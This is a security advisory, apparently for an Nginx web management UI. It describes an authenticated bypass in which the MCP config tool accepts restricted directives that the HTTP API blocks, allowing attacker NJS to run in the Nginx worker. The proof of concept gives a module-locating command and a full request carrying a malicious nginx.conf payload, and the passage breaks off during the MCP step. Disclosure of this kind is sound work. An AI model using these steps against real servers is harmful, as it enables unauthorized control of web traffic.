CVE-2026-84319

## Summary The regular HTTP configuration API rejects restricted Nginx directives such as `load_module`, `js_import`, and `js_content`. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load `ngx_http_js_module.so`, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This is authenticated and is not OS command execution by itself. ## Affected component - `/mcp` - `/mcp_message` - MCP tool: `nginx_config_add` - Nginx configuration validation ## Impact A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context. This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling. ## Minimal PoC ### Preconditions - Attacker has a secondary authenticated Nginx UI account. - MCP is enabled. - Nginx has NJS available: ```bash find / -name "ngx_http_js_module.so" 2>/dev/null ``` Observed in the lab: ```text /usr/lib/nginx/modules/ngx_http_js_module.so ``` ### 1. HTTP API blocks the restricted config Request: ```http POST /api/configs Authorization: <SECONDARY_USER_JWT> Content-Type: application/json ``` Body: ```json { "name": "nginx.conf", "base_dir": "", "overwrite": true, "sync_node_ids": [], "content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nevents { worker_connections 1024; }\n\nhttp {\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n" } ``` Observed result: ```text Rejected because the content contains restricted directives such as load_module/js_import/js_content. ``` ### 2. MCP writes the JavaScript file Open an MCP session and call `tools/call` with: ```json { "jsonrpc":